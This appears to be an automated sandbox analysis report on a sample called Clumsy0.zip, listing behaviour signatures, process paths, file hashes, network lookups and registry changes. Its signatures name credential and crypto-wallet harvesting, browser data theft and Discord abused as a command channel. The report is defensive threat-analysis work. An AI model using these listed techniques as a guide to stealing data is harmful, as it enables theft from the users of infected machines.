Analysis Overview
SHA256
5170cf7842d1beea31099a684797bc0ee656e2e0d700b840ac6349d15d15b90d
Threat Level: Likely malicious
The file Clumsy0.zip was found to be: Likely malicious.
Malicious Activity Summary
Drops file in Drivers directory
Command and Scripting Interpreter: PowerShell
Reads user/profile data of web browsers
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Clipboard Data
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Obfuscated Files or Information: Command Obfuscation
Looks up external IP address via web service
Enumerates processes with tasklist
UPX packed file
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
System Network Configuration Discovery: Wi-Fi Discovery
Unsigned PE
Detects videocard installed
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
Modifies system certificate store
Modifies registry class
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Kills process with taskkill
Views/modifies file attributes
Suspicious use of SendNotifyMessage
Modifies data under HKEY_USERS
Enumerates system info in registry
NTFS ADS
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Gathers system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-15 22:26
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral3
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:36
Platform
win7-20240729-en
Max time kernel
315s
Max time network
320s
Command Line
Signatures
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1
Network
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:36
Platform
win10v2004-20241007-en
Max time kernel
554s
Max time network
445s
Command Line
Signatures
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.112.168.52.in-addr.arpa | udp |
Files
Analysis: behavioral5
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:36
Platform
win7-20240903-en
Max time kernel
359s
Max time network
360s
Command Line
Signatures
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
Network
Files
memory/1920-0-0x0000000000010000-0x000000000001E000-memory.dmp
Analysis: behavioral6
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:36
Platform
win10v2004-20241007-en
Max time kernel
417s
Max time network
438s
Command Line
Signatures
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 12.173.189.20.in-addr.arpa | udp |
Files
memory/264-0-0x0000000000010000-0x000000000001E000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:36
Platform
win7-20240903-en
Max time kernel
361s
Max time network
362s
Command Line
Signatures
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2132 wrote to memory of 2592 | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe |
| PID 2132 wrote to memory of 2592 | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe |
| PID 2132 wrote to memory of 2592 | N/A | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\_MEI21322\ucrtbase.dll
| MD5 | 0e0bac3d1dcc1833eae4e3e4cf83c4ef |
| SHA1 | 4189f4459c54e69c6d3155a82524bda7549a75a6 |
| SHA256 | 8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae |
| SHA512 | a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-localization-l1-2-0.dll
| MD5 | 724223109e49cb01d61d63a8be926b8f |
| SHA1 | 072a4d01e01dbbab7281d9bd3add76f9a3c8b23b |
| SHA256 | 4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210 |
| SHA512 | 19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-processthreads-l1-1-1.dll
| MD5 | 517eb9e2cb671ae49f99173d7f7ce43f |
| SHA1 | 4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab |
| SHA256 | 57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54 |
| SHA512 | 492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-file-l1-2-0.dll
| MD5 | 1c58526d681efe507deb8f1935c75487 |
| SHA1 | 0e6d328faf3563f2aae029bc5f2272fb7a742672 |
| SHA256 | ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2 |
| SHA512 | 8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1 |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-timezone-l1-1-0.dll
| MD5 | d12403ee11359259ba2b0706e5e5111c |
| SHA1 | 03cc7827a30fd1dee38665c0cc993b4b533ac138 |
| SHA256 | f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781 |
| SHA512 | 9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0 |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-file-l2-1-0.dll
| MD5 | bfffa7117fd9b1622c66d949bac3f1d7 |
| SHA1 | 402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2 |
| SHA256 | 1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e |
| SHA512 | b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f |
C:\Users\Admin\AppData\Local\Temp\_MEI21322\python310.dll
| MD5 | 178a0f45fde7db40c238f1340a0c0ec0 |
| SHA1 | dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe |
| SHA256 | 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed |
| SHA512 | 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee |
memory/2592-74-0x000007FEF59C0000-0x000007FEF5E2E000-memory.dmp
memory/2592-75-0x000007FEF59C0000-0x000007FEF5E2E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-15 22:26
Reported
2024-10-15 22:35
Platform
win10v2004-20241007-en
Max time kernel
540s
Max time network
541s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\rundll32.exe | N/A |
Clipboard Data
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI19642\rar.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Obfuscated Files or Information: Command Obfuscation
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
System Network Configuration Discovery: Wi-Fi Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Gathers system information
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133735047895970853" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Windows\system32\rundll32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "2" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
